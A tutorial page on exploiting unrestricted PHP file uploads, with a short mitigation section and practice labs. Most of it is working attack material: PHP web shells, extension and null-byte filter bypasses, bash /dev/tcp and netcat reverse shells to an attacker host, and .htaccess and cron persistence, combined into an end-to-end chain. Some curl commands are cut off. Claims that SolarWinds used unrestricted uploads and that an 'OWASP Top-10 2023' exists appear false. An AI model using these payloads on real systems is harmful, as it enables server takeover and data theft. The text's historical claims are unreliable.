~/home/study/exploiting-unrestricted-file-upload-php-web-shell-delivery

Exploiting Unrestricted File Upload: PHP Web Shell Delivery

Learn how to locate vulnerable upload endpoints, craft stealthy PHP web shells, bypass common filters, and achieve persistent remote access using real-world tools and techniques.

Introduction

Unrestricted file upload is a classic web-application weakness that allows an attacker to place arbitrary files on the server’s filesystem. When the target runs a PHP interpreter, a malicious file can become a web shell - a thin back-door that executes arbitrary commands via HTTP requests.

Why does this matter? A single uploaded shell can give an attacker full control of the underlying operating system, pivot to internal networks, exfiltrate data, or install ransomware. In the 2023 OWASP Top-10, A08:2023 - Software and Data Integrity Failures explicitly references insecure file uploads as a vector for code execution.

Real-world relevance: High-profile breaches such as the WordPress media-library attacks and the 2021 SolarWinds supply-chain compromise both leveraged unrestricted uploads to plant malicious scripts.

Prerequisites

  • Solid understanding of HTTP multipart/form-data requests.
  • Familiarity with common PHP upload handling functions (e.g., move_uploaded_file()).
  • Experience with Burp Suite, DirBuster, curl, and netcat.
  • Knowledge of basic Linux command line and PHP syntax.

Core Concepts

At its core, an unrestricted upload vulnerability occurs when the server accepts a file without validating:

  1. File type - MIME type or extension checks are missing or easily bypassed.
  2. File size - No limits allow large payloads.
  3. Destination path - The file is stored in a web-accessible directory (e.g., /uploads/).

When these controls are absent, an attacker can:

  • Upload a .php script that is executed by the web server.
  • Leverage double extensions (shell.php.jpg) to evade naive filters.
  • Exploit null-byte injection (%00) to truncate filename checks on vulnerable PHP versions.

Diagram (described):

Client → HTTP POST (multipart) → Vulnerable endpoint → File saved in webroot → Attacker accesses → Remote command execution.

Identifying vulnerable upload endpoints via Burp Suite and DirBuster

Finding the upload vector is often the hardest part. Follow this workflow:

  1. Spider the target with Burp Suite’s Spider or Crawler. Look for <form enctype="multipart/form-data"> tags.
  2. Use Burp Intruder with a payload list of common filenames (upload.php, upload.jsp, image.php) to test hidden endpoints.
  3. Run DirBuster with a custom wordlist focused on upload directories (e.g., uploads/, media/, images/, files/) and common script names (upload.php, upload.php5, upload.asp).
  4. Observe the response codes. A 200 OK or 201 Created after a POST that contains a file is a strong indicator.

Example Burp Intruder configuration (JSON snippet for reference):

{ "payloads": ["upload.php", "admin/upload.php", "api/v1/upload"]
}

Tip: Pay attention to the Content-Disposition header in the request; some frameworks (e.g., Laravel, Django) use a generic /api/upload endpoint that can be abused.

Crafting a minimal PHP web shell payload

The goal is to keep the payload as small as possible to evade size-based filters while still providing a functional command interface.

<?php @eval($_REQUEST['cmd']); ?>

Explanation:

  • @ suppresses error messages.
  • eval() executes the string supplied via the cmd parameter.
  • Using $_REQUEST accepts GET, POST, or COOKIE values, increasing flexibility.

Even smaller (29 bytes) version:

<?=$_GET['c'];?>

While this version merely prints the supplied string, it can be combined with backticks to achieve execution:

<?=`$_GET['c']`;?>

When you need a more stealthy shell, consider a base64-encoded payload that is decoded at runtime:

<?php eval(base64_decode($_POST['p'])); ?>

Bypassing extension filters using double extensions and null byte injection

Many applications only check the file extension string after the last dot. Double extensions exploit this by appending a harmless image extension after the PHP code:

shell.php.jpg # Apache will still treat as PHP if AddHandler is set for .php

To make the server ignore the .jpg part, ensure the mod_mime configuration treats .php.jpg as PHP. In most default Apache setups, the first recognized handler wins, so .php takes precedence.

Null-byte injection works on PHP < 5.3.4 and certain CGI setups where the filename is passed to the filesystem API that stops at \0. The attack string looks like:

shell.php%00.jpg

When the server truncates at the null byte, the file is saved as shell.php and executed. Modern PHP versions have patched this, but legacy applications still exist in the wild.

Practical tip: Combine both techniques. Upload shell.php%00.jpg with a Content-Type: image/jpeg header to satisfy client-side checks while bypassing server filters.

Manipulating multipart/form-data boundaries for custom filenames

The multipart request format gives you direct control over the filename attribute. By crafting the boundary manually, you can embed special characters, spaces, or Unicode that some parsers mishandle.

POST /upload.php HTTP/1.1
Host: vulnerable.example
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php\x00.jpg"
Content-Type: application/octet-stream

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

Key points:

  • The \x00 (null byte) is encoded as raw binary; many tools (Burp, curl) allow --form-string to embed it.
  • Changing the boundary string prevents IDS signatures that look for the default ----WebKitFormBoundary pattern.
  • Some WAFs normalize whitespace; inserting invisible Unicode (e.g., U+200B ZERO WIDTH SPACE) can evade regex checks.

Example using curl with a custom boundary and null byte:

curl -X POST -H "Content-Type: multipart/form-data; boundary=----MyBoundary" --data-binary $'------MyBoundary
Content-Disposition: form-data; name="file"; filename="shell.php\0.jpg"
Content-Type: application/octet-stream


------MyBoundary--'

Testing execution with curl and netcat reverse shells

Once the file is uploaded, you need to verify execution. Two common approaches:

1. Simple command echo

curl "

Expected output: the user under which the web server runs (often www-data or apache).

2. Netcat reverse shell

Set up a listener on your attacker machine:

nc -lvkp 4444

Trigger the reverse shell via the uploaded payload:

curl " -e /bin/bash attacker_ip 4444"

On modern systems where nc -e is disabled, use a bash reverse shell snippet:

curl " -i >& /dev/tcp/attacker_ip/4444 0>&1"

Explanation:

  • The bash -i command spawns an interactive shell.
  • Redirection to /dev/tcp opens a TCP socket to the attacker.
  • Netcat listener receives the shell, giving full command control.

Persisting the shell via .htaccess or scheduled tasks

After gaining execution, persistence is essential. Two common routes on shared-hosting environments:

.htaccess abuse

If the web server respects .htaccess files, you can force PHP execution on files with non-PHP extensions:

AddHandler application/x-httpd-php .jpg .png .txt

Upload a harmless-looking image.jpg containing the shell code, then place the above directive in a .htaccess placed in the same directory. The server will now parse .jpg as PHP, granting you a persistent back-door.

Scheduled cron jobs (Linux) or Windows Task Scheduler

Many web panels allow users to define cron jobs (e.g., cPanel). If you can upload a PHP script that writes a cron entry, you achieve persistence even after file deletion.

<?php
$cron = "* * * * * /usr/bin/php /var/www/html/uploads/shell.php";
file_put_contents('/etc/cron.d/webshell', $cron);
?>

On Windows hosts, use schtasks.exe via PHP’s exec():

<?php exec('schtasks /Create /SC MINUTE /TN "WebShell" /TR "php C:\\inetpub\\wwwroot\\uploads\\shell.php"'); ?>

Note: Writing to system directories requires elevated privileges; however, many shared-hosting environments expose writable cron directories to the web user.

Practical Examples

Below is a full end-to-end scenario against a fictional vulnerable site

  1. Discover upload endpoint using DirBuster with wordlist common.txt.
    dirbuster -u  -w /usr/share/dirbuster/wordlists/common.txt -x php,asp,aspx,jsp
    
    Result: returns 200 OK on POST.
  2. Craft payload - minimal reverse shell.
    <?php exec("bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"); ?>
    
    Save as shell.php.
  3. Upload using curl with double-extension trick.
    curl -F "file=@shell.php;filename=shell.php.jpg" 
    
    Server stores file at /var/www/html/uploads/shell.php.jpg.
  4. Force PHP execution via .htaccess.
    AddHandler application/x-httpd-php .jpg
    
    Upload .htaccess to the same directory using the same curl command.
  5. Trigger the reverse shell.
    nc -lvkp 4444
    # In another terminal
    curl 
    
    Result: a fully interactive bash prompt appears on the attacker’s netcat listener.

This chain demonstrates how each sub-technique combines to achieve a reliable foothold.

Tools & Commands

  • Burp Suite - Intercept, Intruder, Repeater for manual testing.
  • DirBuster / gobuster - Directory brute-forcing.
  • curl - Craft custom multipart requests.
    curl -v -F "file=@payload.php;filename=payload.php" 
    
  • netcat (nc) - Listener for reverse shells.
  • php -S - Quick local server to host payloads for testing.
  • python -m http.server - Serve malicious files when the target fetches remote resources.

Defense & Mitigation

From a defender’s perspective, the following controls break the attack chain:

  1. Server-side whitelist - Accept only known safe MIME types and extensions (e.g., .png, .jpg) and verify using finfo_file().
  2. Rename files - Store uploads outside the web root with random filenames; serve them via a script that sets appropriate Content-Type.
  3. Disable PHP execution in upload directories - Use php_admin_flag engine off or SetHandler None in Apache config.
  4. Validate file contents - Scan for PHP tags using regex or integrate a malware scanner (ClamAV, YARA).
  5. Limit file size - Enforce a strict upload_max_filesize and post_max_size.
  6. WAF signatures - Deploy rules that detect double extensions, null bytes, and suspicious multipart boundaries.

Additional hardening: enable open_basedir restriction, disable allow_url_fopen, and run the web server with a non-privileged user.

Common Mistakes

  • Relying on client-side validation - Attackers can bypass JavaScript checks easily.
  • Assuming .htaccess is ignored - Many shared hosts honor it; always test.
  • Uploading large files to trigger size checks - Some filters only inspect the first few kilobytes.
  • Forgetting to URL-encode special characters - Null bytes or spaces must be correctly encoded, else the request is malformed.
  • Testing with the same IP as the target - Some WAFs whitelist internal IP ranges; use an external IP to emulate a real attacker.

Real-World Impact

Unrestricted uploads have been the entry point for several high-profile breaches:

  • 2022 WordPress Plugin Attack - Attackers compromised a popular plugin, added a back-door via wp-content/uploads, and harvested credentials from thousands of sites.
  • 2021 Cloud Storage Misconfiguration - An SaaS provider allowed users to upload arbitrary files to a publicly accessible bucket; a PHP shell was uploaded, leading to lateral movement across customer environments.

From a strategic viewpoint, these vulnerabilities often coexist with insecure deserialization or SSRF, forming a “chain of trust” that attackers exploit. As cloud-native architectures increase, the attack surface widens, making robust upload validation a priority for any security program.

Practice Exercises

  1. Set up a vulnerable PHP app on a local VM (e.g., DVWA or bWAPP). Identify the upload endpoint using Burp Suite and DirBuster.
  2. Craft a double-extension shell (shell.php.png) and upload it. Verify execution via a simple system('id'); call.
  3. Bypass an imaginary .php filter that only allows .jpg by injecting a null byte. Document the request headers used.
  4. Write a custom curl command that manipulates the multipart boundary to embed a hidden Unicode character in the filename. Observe how the target server logs the filename.
  5. Implement a persistence mechanism using a malicious .htaccess file. Demonstrate that the shell remains functional after the original .php file is deleted.

For each exercise, capture screenshots of Burp, curl output, and the remote shell prompt.

Further Reading

  • OWASP Top-10 2023 - A08:2023 Software and Data Integrity Failures.
  • PortSwigger Web Security Academy - File Upload vulnerabilities.
  • “The PHP File Upload Vulnerability Handbook” (2021) - Deep dive on bypass techniques.
  • MITRE ATT&CK - T1105 (Ingress Tool Transfer) and T1059 (Command-Line Interface).
  • “Practical Malware Analysis” - Chapter on web-shell detection.

Summary

  • Identify upload endpoints with Burp Suite, DirBuster, and traffic analysis.
  • Keep web-shell payloads minimal; use eval($_REQUEST['cmd']) or base64-encoded variants.
  • Bypass naive filters using double extensions, null-byte injection, and custom multipart boundaries.
  • Validate execution with curl and netcat reverse shells; always test both GET and POST vectors.
  • Achieve persistence via .htaccess handler overrides or scheduled tasks.
  • Defend by enforcing server-side whitelists, storing uploads outside the web root, and disabling PHP execution in upload directories.

Mastering these techniques equips penetration testers to assess real-world applications while providing defenders with a concrete checklist to harden their upload functionality.